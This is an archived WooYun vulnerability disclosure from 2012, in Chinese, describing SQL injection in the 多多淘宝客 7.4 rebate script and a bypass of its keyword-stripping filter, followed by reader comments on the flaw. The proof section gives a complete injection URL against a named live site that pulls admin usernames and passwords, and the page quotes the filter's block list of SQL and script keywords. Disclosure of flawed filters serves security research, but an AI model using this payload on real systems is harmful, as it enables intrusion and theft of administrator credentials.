当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-05439

漏洞标题:多多淘宝客7.4 SQL注射绕过漏洞

相关厂商:多多返利淘宝客程序

漏洞作者: 牛奶坦克

提交时间:2012-03-21 13:43

修复时间:2012-03-21 13:43

公开时间:2012-03-21 13:43

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-03-21: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-03-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看到之前有人发多多这个程序的注入
http://www.wooyun.org/bugs/wooyun-2010-04024
看了源码,几乎是赤裸裸的注射啊:
$id =$_GET['id'];
$good=sel_sql('dhlist','id,name,pic,money,jifen,num,content,num','id='.$id);
有木有,有木有啊!!看到网上说多多又暴了漏洞,下了20号之前的代码看了一会,发现很有意思,反映出了一个很严重的问题,供大家借鉴。

详细说明:

下了7.4 3月20号之前的代码,注入确实没修,还是huangou.php
$id =$_GET['id'];
$good=sel_sql('dhlist','id,name,pic,money,jifen,num,content,num','id='.$id);
但是测试环境为啥射不了呢,在仔细看代码,原来多了个包含
include_once 'comm/checkpostandget.php';
这个文件内容是啥捏

$ArrFiltrate = array (
"#union#i",
"#<script#i",
"#/script>#i",
"#select#i",
"#alert#i",
"#javascript#i",
"#<table#i",
"#<td#i",
"#\"#i",
"#\'#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#<div#i",
"#update#i",
"#'#i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements='';
function FunStringExist(&$array,$ArrFiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
FunStringExist($array[$key],$ArrFiltrate,$replacements);
else
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value);
}
}
}
FunStringExist($_GET,$ArrFiltrate,$replacements);
FunStringExist($_POST,$ArrFiltrate,$replacements);


真是个奇葩啊,原来不专心修漏洞,而是搞了个get和post数组的全局过滤函数,但是您不觉得有很多问题吗?先不说是否来源和目标都完整,单独是这个逻辑就有很大问题。

漏洞证明:

关键字例如:union,变成uniounionn就行了,空格嘛用/**/好了。
http://www.17sqy.com/huangou.php?id=1/**/and/**/1=2/**/ununionion/**/seselectlect/**/0,1,2,adminname,adminpass,5,6,7/**/from/**/duoduo_duoduo2010

修复方案:

您应该懂了。

版权声明:转载请注明来源 牛奶坦克@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2012-03-21 13:46 | 牛奶坦克 ( 普通白帽子 | Rank:355 漏洞数:21 | 晚安,牛奶)

    刚刚又发现新的问题了,还是逻辑。。。

  2. 2012-03-21 13:52 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @牛奶坦克 小弟不才,想问问union为啥uniounionn也可执行?

  3. 2012-03-21 13:56 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @horseluke 过滤union为空。uniounionn 等价于union

  4. 2012-03-21 13:57 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @horseluke 因为他替换union这样关键字为空,所以unio[union]n,replace后还是剩下union。

  5. 2012-03-21 13:58 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @possible 哦,明白了......漏了看代码......

  6. 2012-03-21 13:59 | 牛奶坦克 ( 普通白帽子 | Rank:355 漏洞数:21 | 晚安,牛奶)

    @horseluke @xsser xsser正解啊

  7. 2012-03-21 16:11 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    缺陷关联: WooYun: discuz! X1.5 Get Shell 0day (原因:SQL防注入绕过)

  8. 2012-03-21 16:18 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @xsser@牛奶坦克@possible 找到了这段代码的原型(但原出处不可考):http://hi.baidu.com/%D0%B0%B6%F1%B5%C4%F7%BC%F7%C3/blog/item/ffef3d9ad2e6f5bac8eaf4ae.html 估计多多淘宝客没理解好这段代码的适用范围...

  9. 2012-03-21 18:10 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @horseluke 你怎么关联的啊 人肉 求给乌云做功能

  10. 2012-03-21 18:47 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @xsser 真是用人肉的...主要是使用右上角的搜索,因为你的Tags标签本身就可以用于那里~

  11. 2012-03-21 19:12 | 牛奶坦克 ( 普通白帽子 | Rank:355 漏洞数:21 | 晚安,牛奶)

    @horseluke 看来是典型的第三方代码copy不经过大脑导致悲催的实际案例了

  12. 2012-03-21 19:14 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @牛奶坦克 倒觉得不一定是copy不经过大脑,也有可能是copy后在修改的过程中理解错了代码原意导致......因为两段代码还是有不同的,原代码直接停止而没有preg_replace